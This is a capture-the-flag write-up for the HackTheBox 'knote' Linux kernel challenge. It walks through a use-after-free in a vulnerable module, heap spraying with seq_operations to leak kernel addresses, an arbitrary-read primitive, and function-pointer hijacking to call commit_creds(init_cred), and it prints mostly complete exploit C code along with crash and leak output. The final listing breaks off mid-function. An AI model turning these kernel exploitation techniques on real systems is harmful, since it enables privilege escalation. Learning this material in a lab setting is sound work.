HTB knote

knote is a pwn challenge comming with a vulnerable kernel module and a linux kernel in version 5.8.3. The main entrypoint comes from a use-after-free, which allows an arbitrary address read. This vulnerability could be comdined with a vulnerability allowing an attacker to override internel function pointers of the module.


Kaddate |

Difficulty : Medium
Category : Pwn


For this knote challenge we are given a module kernel as well as its source code. We also have the kernel itself on which the module will run and the qemu environment to start it locally.

~ $ tree -L 1  
.
├── bzImage
├── knote.c
├── knote.ko
├── qemu-cmd
├── rootfs.img

Looking at the qemu command, we can observe that the kernel is launched with KASLR. This will most likely mean that in order to execute arbitrary code, we will have to need some kind of leak primitive.

#!/bin/bash

timeout --foreground 35 qemu-system-x86_64 \
  -m 128M \
  -nographic \
  -kernel ./bzImage \
  -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
  -monitor /dev/null \
  -initrd ./rootfs.img \
  -cpu qemu64 \
  -smp cores=2

Let's analyze the source code now.

Source code analysis of knote

As this is a kernel module, the first function to look at is the one responsible for its initialization.

#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"

static int __init init_knote(void) {
    major = register_chrdev(0, DEVICE_NAME, &knote_fops);
    if(major < 0)
        return -1;

    knote_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(knote_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
    if (IS_ERR(knote_device))
    {
        class_destroy(knote_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0;
}

module_init(init_knote);
module_exit(exit_knote);

It initializes a character device at /dev/knote, let's checkout the main handler.

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;
    switch(cmd) {
        case KNOTE_CREATE:
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            if(data == NULL || knotes[ku.idx] == NULL) {
                mutex_unlock(&knote_ioctl_lock);
                return -ENOMEM;
            }

            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            // copy_from_user() holds 2 pointers from kernelspace
            // This might trigger errors everytime then ?
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                // UAF
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]);
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
        case KNOTE_DELETE:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            knotes[ku.idx] = NULL;
            break;
        case KNOTE_READ:
            if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            break;
        case KNOTE_ENCRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
         case KNOTE_DECRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

The main handler is an ioctl handler which is "The most common way for applications to interface with device drivers" (cf: The kernel documentation).

After inspection of the source code, this kernel module allows the user to store up to 10 notes, which contain data of 32 bytes. Each note (or knote) can be encrypted and decrypted using 2 specific routines stored in their structs. The module can only contain up to 10 knote, which are stored in a global variable. Here follows the structure for a knote and the knote list declaraction :

struct knote {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
};

struct knote *knotes[10];

The function pointers encrypt_func and decrypt_func are set when a knote is created, and point to theses functions :

void knote_encrypt(char * data, size_t len) {
    int i;
    for(i = 0; i < len; ++i)
        data[i] ^= 0xaa;
}

void knote_decrypt(char *data, size_t len) {
    knote_encrypt(data, len);
}

Ho boy, if that's encryption then I am cybersecurity researcher

This a very poorly secured algorithm for encryption as it is a simple xor with a key 256 bits of security. But this is not the subject of this writeup.

And a final information, the ioctl handler can receive theses 5 different commands :

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

Let's look at how the module handles them more thoroughly.

Sending command to the module

Before checking for vulnerabilities in the module, we need to understand how to send and receive data to the module.

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;
/// ...SNIP...

The ioctl handler take the command as its second argument, and a pointer to a knote_user struct which describes the knote we want to work on.
1. The first field idx represents the index of the knote in the knotes array we want to interact with.
2. The data field is a pointer to a buffer of character which will be used to send or receive data of knote, depending weither we are reading from or writing to a knote.
3. Last, the len describes the length of the data buffer.

We can start writing the exploit by making the different interactions for knote.

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};
#define knote_user_t struct knote_user

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

#define MAX_DATA_LEN 32

static inline knote_user_t *alloc_ku(int idx, char *data, size_t len)
{
  knote_user_t *ku = malloc(sizeof(knote_user_t));
  if (!ku) {
    printf("Error in malloc()\n");
    exit(2);
  }

  ku->idx = idx;
  ku->data = data;
  ku->len = len;
  return ku;
}

int knote_create(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_CREATE, ku);
}

int knote_delete(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_DELETE, ku);
}

void knote_read(int fd, knote_user_t *ku)
{
  int res = ioctl(fd, KNOTE_READ, ku);
  if (res != 0) {
    printf("knote_read() error: %d\n", res);
    exit(1);
  }
}

int knote_encrypt(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_ENCRYPT, ku);
}

int knote_decrypt(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_DECRYPT, ku);
}

int open_device()
{
  int fd = open("/dev/knote", 0);
  if (fd < 0) {
    printf("Cannot open device file\n");
    exit(-1);
  }
  return fd;
}

KNOTE_CREATE

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;
    switch(cmd) {
        case KNOTE_CREATE:
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            if(data == NULL || knotes[ku.idx] == NULL) {
                mutex_unlock(&knote_ioctl_lock);
                return -ENOMEM;
            }

            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                // UAF
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]);
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
    }
// ...SNIP...
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

When sending the command KNOTE_CREATE, the module checks that our idx and len are withing boundaries. It then uses kmalloc() to allocate the knote, as well as its data field. It then copies our data buffer to the newly created knote->data using copy_to_user(). In case copy_to_user() returns an error, the program frees the chunks and returns an error.

if no error is encountered, the program will also set the pointers to encrypt_func and decrypt_func.

Use-After-Free situation

In case we trigger an error in the call to copy_to_user(), the program frees the chunk but does not reset its pointer to NULL. This might allow Use-After-Free when further interaction in this index will be done.

if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
    kfree(knotes[ku.idx]->data);
    kfree(knotes[ku.idx]);
    mutex_unlock(&knote_ioctl_lock);
    return -EFAULT;
    // knotes[ku.idx] is not reset to NULL
}

KNOTE_DELETE

case KNOTE_DELETE:
    if(ku.idx >= 10 || !knotes[ku.idx]) {
        mutex_unlock(&knote_ioctl_lock);
        return -EINVAL;
    }
    kfree(knotes[ku.idx]->data);
    kfree(knotes[ku.idx]);
    knotes[ku.idx] = NULL;
    break;

the KNOTE_DELETE handler does also check for boundaries and frees the given knote. Irronically this handler does reset the freed chunk's pointer to NULL.

KNOTE_ENCRYPT & KNOTE_DECRYPT

case KNOTE_ENCRYPT:
    if(ku.idx >= 10 || !knotes[ku.idx]) {
        mutex_unlock(&knote_ioctl_lock);
        return -EINVAL;
    }
    knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
    break;
 case KNOTE_DECRYPT:
    if(ku.idx >= 10 || !knotes[ku.idx]) {
        mutex_unlock(&knote_ioctl_lock);
        return -EINVAL;
    }
    knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
    break;

KNOTE_DECRYPT and KNOTE_ENCRYPT are very similar. They call the function pointers stored in the knote structures. This part of the code is interesting as, if we can manage control a knote structure, we might be able to call arbitrary code within the kernel.

KNOTE_READ

case KNOTE_READ:
    if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
        mutex_unlock(&knote_ioctl_lock);
        return -EINVAL;
    }
    if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
        mutex_unlock(&knote_ioctl_lock);
        return -EFAULT;
    }
    break;

The KNOTE_READ handler allows us to retrieve the data stored in a knote by submitting a buffer pointer that will be used by the module to copy the data of the knote into our userland buffer. The handler also checks for boundaries and especially that the data length we give is not bigger than the data length of the knote, otherwise this would let us get some data leak via an OOB read.

Exploitation path

Since this is one of my first kernel exploitations I am not really aware of the technics and methodology, but I would say it isn't very different than a userland elf exploitation.

The objective is to get root, we can call prepare_cred() and commit_cred() for that. If we manage to hijack a knote we could rewrite the encrypt_func and decrypt_func function pointers to call custom pointers arbitrary. BUT, since the KASLR is activated we also need a leak of a kernel pointer to deduce whatever functions we wanna call.

Since we have a UAF, I guess this is our main entrypoint. Let's first work on hijacking a knote.

Getting the control over a knote

To get the control over a knote is not too difficult. When the kernel frees a knote and its data they will be put into some free list which is a lifo exactly like most userland allocators. When we create a knote and trigger an error to get the UAF, here is what happens :

data = kmalloc(32) // knote's data
knote = kmalloc(32) // knote
// Error triggered
free(data)
free(knote)

In this state, the next kmalloc(32) should give back the pointer to the old chunk knote, and the second next kmalloc(32) should then give back the pointer to the old knote's data. When creating a knote, we first allocate its data then the knote itself. So if create a second knote after triggering the UAF situation we should have knote which have its pointer pointing to the old knote's data, and it's data`` should point the oldknote` struct :D .

Having a knote's data pointing to another knote structure is very interesting because we now have a read primitive on it using KNOTE_READ as well as a one time write primitive when we create the knote, hence we are already able to overwrite the function pointers of the knote and trigger arbitrary code, as well as getting arbitrary address read by overwriting its data pointer and len and using KNOTE_READ against it.

void aar(int fd, size_t addr, size_t len, char *buf)
{
  knote_user_t *ku_victim = alloc_ku(AAR_KU_VICTIM, NULL, MAX_DATA_LEN);
  knote_user_t *ku_reader = alloc_ku(AAR_KU_READER, buf, MAX_DATA_LEN);

  knote_delete(fd, ku_victim);
  knote_delete(fd, ku_reader);

  uaf_create(fd, 0, ku_victim);

  unsigned long data[4];
  data[0] = addr;
  data[1] = len;
  data[2] = 0;
  data[3] = 0;

  ku_reader->data = (char*)&data;
  knote_create(fd, ku_reader);
  puts("knote controller created, poisoned knote victim structure.\n");

  ku_victim->data = buf;
  ku_victim->len = len;
  knote_read(fd, ku_victim);
}

Let's check if it works by crashing the kernel >:3 !

It's crashing time !

Here, we exploit the knote hijacking vulnerability to overwrite the encrypt_func and decrypt_func pointers to NULL. if it works, upon calling one of them we should get a kernel crash with a NULL dereference error.

void trigger_crash(int fd)
{
  puts("Triggering kernel crash");

  knote_user_t *ku_victim = alloc_ku(CRASH_KU_VICTIM, NULL, MAX_DATA_LEN);
  knote_user_t *ku_reader = alloc_ku(CRASH_KU_READER, NULL, MAX_DATA_LEN);
  knote_delete(fd, ku_victim);
  knote_delete(fd, ku_reader);

  uaf_create(fd, 0, ku_victim);

  unsigned long data[4];
  data[0] = 0;
  data[1] = 0;
  data[2] = 0;
  data[3] = 0;

  ku_reader->data = (char*)&data;
  knote_create(fd, ku_reader);
  knote_encrypt(fd, ku_victim);
}

./exploit

UAF in KNOTE_CREATE situation triggered.
knote controller created.
Trying to trigger crash via knote[0]->encrypt().

BUG: kernel NULL pointer dereference, address: 0000000000000000
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 0 P4D 0 
Oops: 0010 [#1] NOPTI
CPU: 0 PID: 33 Comm: exploit Tainted: G           O      5.8.3 #1
RIP: 0010:0x0
Code: Bad RIP value.
RSP: 0018:ffffc9000008feb8 EFLAGS: 00000282
RAX: ffff888000093c40 RBX: 000000000000133a RCX: 0000000000000000
RDX: 0000000000000000 RSI: 00000000000000c8 RDI: 0000000000000000
RBP: ffffc9000008fee8 R08: 0000000000000020 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000555556ac0000
R13: 000000000000133a R14: 0000555556ac0000 R15: ffff8880074fd100
FS:  00007f012edbf6b8(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffffffffd6 CR3: 0000000007552000 CR4: 00000000000006b0
Call Trace:
 knote_ioctl+0x7a/0xfc0 [knote]
 ksys_ioctl+0x71/0xb0
 __x64_sys_ioctl+0x19/0x20
 do_syscall_64+0x40/0xb0
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x7f012edb8d63
Code: 63 f6 48 8d 44 24 60 48 89 54 24 30 48 89 44 24 10 48 8d 44 24 20 48 89 44 24 18 b8 10 00 00 00 c7 44 24 08 10 00 00 00 0f 05 <48> 63 f8 e8 20 fd ff ff 48 83 c4 58 c3 c3 53 48 83 ec 20 41 f7 c1
RSP: 002b:00007fff3d42cee0 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000020 RCX: 00007f012edb8d63
RDX: 0000555556ac0000 RSI: 000000000000133a RDI: 0000000000000003
RBP: 0000555556ac0020 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000555556ac0000
R13: 0000000000000003 R14: 0000000000000000 R15: 0000000000000000
Modules linked in: knote(O)
CR2: 0000000000000000
---[ end trace b82b989f75a5b225 ]---
RIP: 0010:0x0
Code: Bad RIP value.
RSP: 0018:ffffc9000008feb8 EFLAGS: 00000282
RAX: ffff888000093c40 RBX: 000000000000133a RCX: 0000000000000000
RDX: 0000000000000000 RSI: 00000000000000c8 RDI: 0000000000000000
RBP: ffffc9000008fee8 R08: 0000000000000020 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000555556ac0000
R13: 000000000000133a R14: 0000555556ac0000 R15: ffff8880074fd100
FS:  00007f012edbf6b8(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffffffffd6 CR3: 0000000007552000 CR4: 00000000000006b0

It works ! That's nice. Now let's work on how to get a kernel pointer.

Breaking KASLR

Upon reading some documentation (You can find all sources are at the bottom of the writeup), I learned that the main memory allocator for the kernel above 2.7 is SLUB. As Scudo: SLUB uses exclusive memory pages for each possible size of data, up to chunks of 8 Kilo bytes. Furthermore, the chunks of same size are not allocated in a contiguous way but rather randomly within the possible emplacements reserved for them.

This kind of design prevents most heap overflow exploitation as, as an attacker we can not deterministically allocate chunks where we want to in the heap and shape it as we'd like to.

One thing very different from the userland is obviously the fact that in the kernel process the heap shares all objects that belong to the kernel. In our case, we allocate struct of 32 bytes, which means that kmalloc() calls the allocator kmalloc-32 under the hood. Any other program within the kernel that would call kmalloc-32 would allocate on the same heap area.

Heap spraying

A very popular technic is the heap spraying. While we don't know where the chunks will be in the slab, we can make a ton of allocations in it ! By flooding the heap we are almost sure that our chunk will land where we want to.

So now we need to look for a structure of 32 bytes that contains pointers to the kernel...

seq_file struct !

After digging I found some papers talking about the seq_file struct. This struct is allocated whenever someone reads or write to a virtual file. Most virtual files are contained in the /proc directory and there is a lot of files we are allowed to read within it. The easiest to me seems to be all the files under /proc/self/ which are only accessible by our process and on which we are allowed to interact with.

If you want more detail on the seq_file struct and the virtual files, go check out the official documentation as I wont cover it up any further. Regarding the exploitation with seq_file struct, if we open a "standard" virtual file, the kernel will allocate the struct in the heap with multiple pointers that points to default routines inside the kernel space :

static void *single_start(struct seq_file *p, loff_t *pos)
{
    return NULL + (*pos == 0);
}

static void *single_next(struct seq_file *p, void *v, loff_t *pos)
{
    ++*pos;
    return NULL;
}

static void single_stop(struct seq_file *p, void *v)
{
}

int single_open(struct file *file, int (*show)(struct seq_file *, void *),
        void *data)
{
    struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
    int res = -ENOMEM;

    if (op) {
        op->start = single_start;
        op->next = single_next;
        op->stop = single_stop;
        op->show = show;
        res = seq_open(file, op);
        if (!res)
            ((struct seq_file *)file->private_data)->private = data;
        else
            kfree(op);
    }
    return res;
}

And to spray the heap it is rather simple ! In this snippet we allocate 100 of theses structs !

void spray_it()
{
  puts("Spraying like it's nothing");
  for (int i = 0; i < 100; i++) {
    open("/proc/self/stat", O_RDONLY);
  }
}

Getting the leak

By combining everything that I've talked about above, we can successfully manage to get a kernel leak address. Here is how :
1. We trigger the UAF situation
2. We read into our freed pointer to get a leak on the kernel heap
3. We use this leak and our arbitrary address read to dump the heap from this address
4. We try to find memory pattern that would match the seq_file struct
5. We get our leak :)

Let's do it with some code :

int main()
{
  int fd = open_device();

  // UAF situation setup
  knote_user_t *ku_victim = alloc_ku(KU_VICTIM, NULL, MAX_DATA_LEN);
  uaf_create(fd, 0, ku_victim);

  // Heap leak address
  char leak_buf[MAX_DATA_LEN] = {0};

  knote_user_t *ku_leak = alloc_ku(KU_VICTIM, leak_buf, MAX_DATA_LEN);
  knote_read(fd, ku_leak);
  unsigned long heap_leak = bytes_to_ull((unsigned char *)(&leak_buf)+16);
  printf("heap leak = 0x%lx\n", heap_leak);

  // heap spraying
  spray_it();

  // Heap dump of 1600 bytes
  char leak_dump[1600] = {0};
  aar(fd, heap_leak, 1600, leak_dump);
  dump((unsigned long*)&leak_dump, 1600 / 8);

  // seq_operations identification
  unsigned long seq_operations_start_addr = 0;
  for (int i = 0; i < 1600/8; i += 4) {
    if (identify_seq_operations((unsigned long*)&leak_dump + i)) {
      printf("0x%lx and %d\n", *(unsigned long*)&leak_dump + i, i);
      seq_operations_start_addr = *(unsigned long*)&leak_dump + i; 
      break;
    }
  }

  if (!seq_operations_start_addr) {
    printf("Kernel leak not found :(\n");
    exit(-1);
  }

  // kernel base address calculation
  printf("Kernel leak found !\n");
  printf("seq_operations->start = %lx!\n", seq_operations_start_addr);
}

And here is the result :

UAF in KNOTE_CREATE situation triggered.
heap leak = 0xffff888000093c60
Spraying like it's nothing
UAF in KNOTE_CREATE situation triggered.
knote controller created, poisoned knote victim structure.

ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffff888007ecb470 ffff888007ecb470 ffff888000094210 ffffffff818372d0 
0 ffff888000094028 ffff888000094028 0 0 0 ffff888000094050 ffff888000094050 
ffff888000094060 ffff888000094060 ffff888000094070 ffff888000094070 0 10000000000 0 0 
0 73746e657665 0 0 0 0 0 0 
0 0 0 0 0 ffff888007ecb400 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 ffff888007ecb570 ffff888007ecb570 ffff888000094410 ffff888000094010 
0 ffff888000094228 ffff888000094228 0 0 0 ffff888000094250 ffff888000094250 
ffff888000094260 ffff888000094260 ffff888000094270 ffff888000094270 0 10000000000 0 0 
0xffffffff810f17e0 and 0
Kernel leak found !
seq_operations->start = ffffffff810f17e0!

Here we can clearly see the seq_file struct on the heap allocated a fair amount of time.

Deducing the kernel base

From this point we go back to the classic elf methodology. We have a leak to an address of the kernel that corresponds to a symbol, so now we need to analyze the given kernel and retrieve the symbols and addresses. For this I used the very handy tool vmlinux-to-elf; it identifies the kernel version and retrieve its symbols as well as extracts the kernel from the vmlinux.

~ $ vmlinux-to-elf ./vmlinux vmlinux_symbols

We can now use readelf to get the symbols we want :

~ $ readelf --wide ./vmlinux_symbols -s | grep single_start             
  2337: ffffffff810f17e0     0 FUNC    LOCAL  DEFAULT    1 single_start

No relative addressing ?!

From this point in the challenge I noticed that the addresses of the symbols were not relative but rather arbitrary... This probably means that the kernel has not be compiled with some kind of "PIE" or whatever it is called in the linux compilation chain. This also means that even tho the VM is started with KASLR, the kernel will always load at its harcoded address. From an attacker point of view this means that all the "defeating KASLR" part is useless ! But anyway, let's continue as if there were KASLR as this is way more interesting this way.

Both the offsets from the leak and the kernel match ! So now we can take the runtime single_start address and substract 0xf17e0 (the static offset of the function) to effectively calculate the kernel base, and from this moment get all the addresses we are interested in :

~ $ readelf --wide ./vmlinux_symbols -s | grep -v "LOCAL" | grep -E "prepare_kernel_cred|init_cred|commit_creds|prepare_creds"
 21886: ffffffff81053a30     0 FUNC    GLOBAL DEFAULT    1 commit_creds
 21889: ffffffff81053c50     0 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
 21890: ffffffff81053da0     0 FUNC    GLOBAL DEFAULT    1 prepare_creds
 28049: ffffffff818375c0     0 OBJECT  GLOBAL DEFAULT   11 init_cred

Back to the exploit: doing the Privesc

Now the last step is to make the privilege exploitation without crashing the OS :D. The known combination of commit_creds(prepare_creds(0)) is not optimal in our case. While we can call hijacked pointers to encrypt_func and decrypt_func, theses calls do not save the return value of the functions, and that's kind of what we need for prepare_creds(0) which returns a pointer to a creds struct.

After looking up, There is also the function prepare_kernel_cred() which is a good candidate, but as I was trying it, it did not crash but didn't made me privesc either.

The next thing I tried was to call commit_creds() with the init_cred symbol as argument. This symbol is a global creds struct that is configured with the root privileges, so we can try to call commit_creds(init_cred).

You can find the entire exploit right there :

#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};
#define knote_user_t struct knote_user

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

#define MAX_DATA_LEN 32

static inline knote_user_t *alloc_ku(int idx, char *data, size_t len)
{
  knote_user_t *ku = malloc(sizeof(knote_user_t));
  if (!ku) {
    printf("Error in malloc()\n");
    exit(2);
  }

  ku->idx = idx;
  ku->data = data;
  ku->len = len;
  return ku;
}

int knote_create(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_CREATE, ku);
}

int knote_delete(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_DELETE, ku);
}

void knote_read(int fd, knote_user_t *ku)
{
  int res = ioctl(fd, KNOTE_READ, ku);
  if (res != 0) {
    printf("knote_read() error: %d\n", res);
    exit(1);
  }
}

int knote_encrypt(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_ENCRYPT, ku);
}

int knote_decrypt(int fd, knote_user_t *ku)
{
  return ioctl(fd, KNOTE_DECRYPT, ku);
}

void uaf_create(int fd, int idx, knote_user_t *ku)
{
  if (!ku)
    // Make an invalid pointer to trigger error in copy_from_user()
    ku = alloc_ku(idx, NULL, MAX_DATA_LEN);

  int res = knote_create(fd, ku);
  if (res == -1) {
    printf("UAF in KNOTE_CREATE situation triggered.\n");
    return;
  }

  printf("UAF in KNOTE_CREATE not triggered : %d\n", res);
  exit(1);
}

unsigned long bytes_to_ull(unsigned char *bytes) {
    return ((unsigned long)bytes[7] << 56) |
           ((unsigned long)bytes[6] << 48) |
           ((unsigned long)bytes[5] << 40) |
           ((unsigned long)bytes[4] << 32) |
           ((unsigned long)bytes[3] << 24) |
           ((unsigned long)bytes[2] << 16) |
           ((unsigned long)bytes[1] <<  8) |
           ((unsigned long)bytes[0]);
}

void dump(unsigned long *s, size_t n)
{
  if (n % 8 != 0) {
    printf("dump(): n is not a multiple of 8\n");
    exit(-1);
  }
  int i = 0;
  for (; i < n; i += 8) {
    for (int cols = 0; cols < 8; cols++) {
      printf("%lx ", s[i+cols]);
    }
    puts("");
  }
}

int open_device()
{
  int fd = open("/dev/knote", 0);
  if (fd < 0) {
    printf("Cannot open device file\n");
    exit(-1);
  }
  return fd;
}

#define KU_VICTIM 0
#define KU_CONTROLLER 1

void leak_heap_address(int fd, char *leak_buf)
{
  knote_user_t *ku_leak = alloc_ku(0, leak_buf, MAX_DATA_LEN);
  knote_read(fd, ku_leak);
  free(ku_leak);
}

#define AAR_KU_VICTIM 8
#define AAR_KU_READER 9

void aar(int fd, size_t addr, size_t len, char *buf)
{
  knote_user_t *ku_victim = alloc_ku(AAR_KU_VICTIM, NULL, MAX_DATA_LEN);
  knote_user_t *ku_reader = alloc_ku(AAR_KU_READER, buf, MAX_DATA_LEN);

  knote_delete(fd, ku_victim);
  knote_delete(fd, ku_reader);

  uaf_create(fd, 0, ku_victim);

  unsigned long data[4];
  data[0] = addr;
  data[1] = len;
  data[2] = 0;
  data[3] = 0;

  ku_reader->data = (char*)&data;
  knote_create(fd, ku_reader);
  puts("knote controller created, poisoned knote victim structure.\n");

  ku_victim->data = buf;
  ku_victim->len = len;
  knote_read(fd, ku_victim);
}

#define CRASH_KU_VICTIM 6
#define CRASH_KU_READER 7

void trigger_crash(int fd)
{
  puts("Triggering kernel crash");

  knote_user_t *ku_victim = alloc_ku(CRASH_KU_VICTIM, NULL, MAX_DATA_LEN);
  knote_user_t *ku_reader = alloc_ku(CRASH_KU_READER, NULL, MAX_DATA_LEN);
  knote_delete(fd, ku_victim);
  knote_delete(fd, ku_reader);

  uaf_create(fd, 0, ku_victim);

  unsigned long data[4];
  data[0] = 0;
  data[1] = 0;
  data[2] = 0;
  data[3] = 0;

  ku_reader->data = (char*)&data;
